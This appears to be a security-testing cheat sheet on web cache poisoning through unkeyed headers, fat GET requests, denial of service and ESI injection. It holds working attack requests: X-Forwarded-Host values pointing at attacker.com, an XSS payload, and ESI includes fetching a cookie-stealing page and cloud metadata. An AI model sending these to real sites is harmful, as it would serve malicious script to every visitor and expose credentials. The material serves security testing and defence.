Web Cache Poisoning: Exploiting Unkeyed Headers for XSS and Redirects
Web cache poisoning allows an attacker to manipulate a shared cache to serve malicious content to all users who request a given URL. Unlike reflected XSS, which requires tricking individual users into clicking a link, cache poisoning delivers the attack to anyone who visits the poisoned page — making it a high-severity finding with broad impact.
How Web Caches Work
CDNs and reverse proxies (Cloudflare, Varnish, Akamai, Fastly, nginx) cache responses to reduce back-end load. The cache stores responses keyed on specific request attributes — typically the URL, Host header, and sometimes Accept headers. When a matching request arrives, the cached response is served without forwarding to the back-end.
Keyed vs. Unkeyed Headers
The attack surface lies in unkeyed inputs — headers that influence the back-end response but are not included in the cache key. If the back-end reflects an unkeyed header (like X-Forwarded-Host) in its response, an attacker can poison the cache with a malicious value that affects all subsequent users who share the same cache key.
Identifying Cache Behavior
# Send a request and observe caching headers
curl -s -I "https://target.com/page" | grep -i "x-cache\|cf-cache-status\|age\|cache-control"
# Sample output indicating a cache hit:
# x-cache: HIT
# cf-cache-status: HIT
# age: 342
# Inject a cache buster to ensure you get a fresh response
curl -s "https://target.com/page?cb=RANDOM" -H "X-Forwarded-Host: attacker.com"
Cache Buster Technique
Always use a unique cache buster parameter during testing to avoid poisoning your own test cache entries and to get accurate responses:
GET /page?cachebust=1234 HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Once you confirm the header is reflected, remove the cache buster to poison the real cached entry.
X-Forwarded-Host Header Poisoning
Many applications use X-Forwarded-Host to construct absolute URLs in responses (for redirects, canonical links, and JavaScript imports). If this header is unkeyed:
GET /js/app.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
If the response contains:
// Source: https://attacker.com/js/app.js
Or the page includes:
<script src="https://attacker.com/js/app.js"></script>
Then this response gets cached for target.com/js/app.js. All subsequent users loading this page will load JavaScript from your server, achieving stored XSS across the entire cached population.
XSS Delivery via Cache Poisoning
GET /?cb=test HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com"><script>alert(document.domain)</script>
If the application generates HTML like <link rel="canonical" href="https://HOST/"> and doesn't properly encode the Host value, injecting XSS via the Host-based header can poison the cache with an XSS payload delivered to all visitors.
Other Unkeyed Headers to Test
X-Forwarded-Scheme— Can change https:// to http:// in redirects (redirect poisoning)X-Forwarded-Port— Port reflected in canonical URLsX-Original-URL— Some frameworks route based on this headerX-Rewrite-URL— Nginx rewrites based on this in some configurationsX-Host— Used by some load balancers as an alternate Host headerForwarded— RFC 7239 standard forwarded header
Testing Methodology with Param Miner
Burp Suite's Param Miner extension automatically discovers unkeyed headers and parameters:
- Right-click a request in Burp Proxy history
- Select "Guess headers" to scan for unkeyed inputs
- Review the "Output" tab for reflected headers
- Test each finding manually to confirm cache poisoning potential
Fat GET Request Poisoning
Some caches key on the URL but the back-end processes the request body of a GET request:
GET /api/user HTTP/1.1
Host: target.com
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
admin=true&user_id=1
If the back-end processes the body but the cache only keys on the URL, poisoning the cache with a "fat GET" can serve elevated responses to all users.
Cache Poisoning DoS
Poison the cache with a 404 or 500 response to cause denial of service:
GET /important-page HTTP/1.1
Host: target.com
X-Forwarded-Host: nonexistent.target.com
If the back-end returns a 404 because it doesn't recognize the host and this gets cached, all users requesting /important-page will receive a 404 until the cache expires.
CDN-Specific Techniques
Cloudflare
# Cloudflare caches based on: method + scheme + host + path + query
# Headers like X-Forwarded-For are NOT cached by default
# Focus on path normalization and query parameter caching
# Test: /path?param=value vs /path?PARAM=value (case sensitivity)
Varnish
# Varnish VCL may include custom unkeyed headers
# Test Accept-Language, Accept-Encoding, and custom X- headers
# Vary header in response indicates what IS keyed
Akamai
# Test X-Forwarded-For, True-Client-IP
# Edge Side Includes (ESI) can be a separate attack vector
# <esi:include src="https://attacker.com/malicious.html"/>
Edge Side Include (ESI) Injection
Some CDNs support ESI for dynamic content assembly. If an attacker can inject ESI tags, they can force the CDN to fetch and include content from arbitrary URLs:
<esi:include src="https://attacker.com/steal-cookies.html"/>
<esi:include src="http://169.254.169.254/latest/meta-data/" />
Cache poisoning often chains with HTTP Request Smuggling for high-impact attacks. For WAF bypass when headers are filtered, see the WAF Bypass Guide. Use the Encoding Pipeline to encode injected header values.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides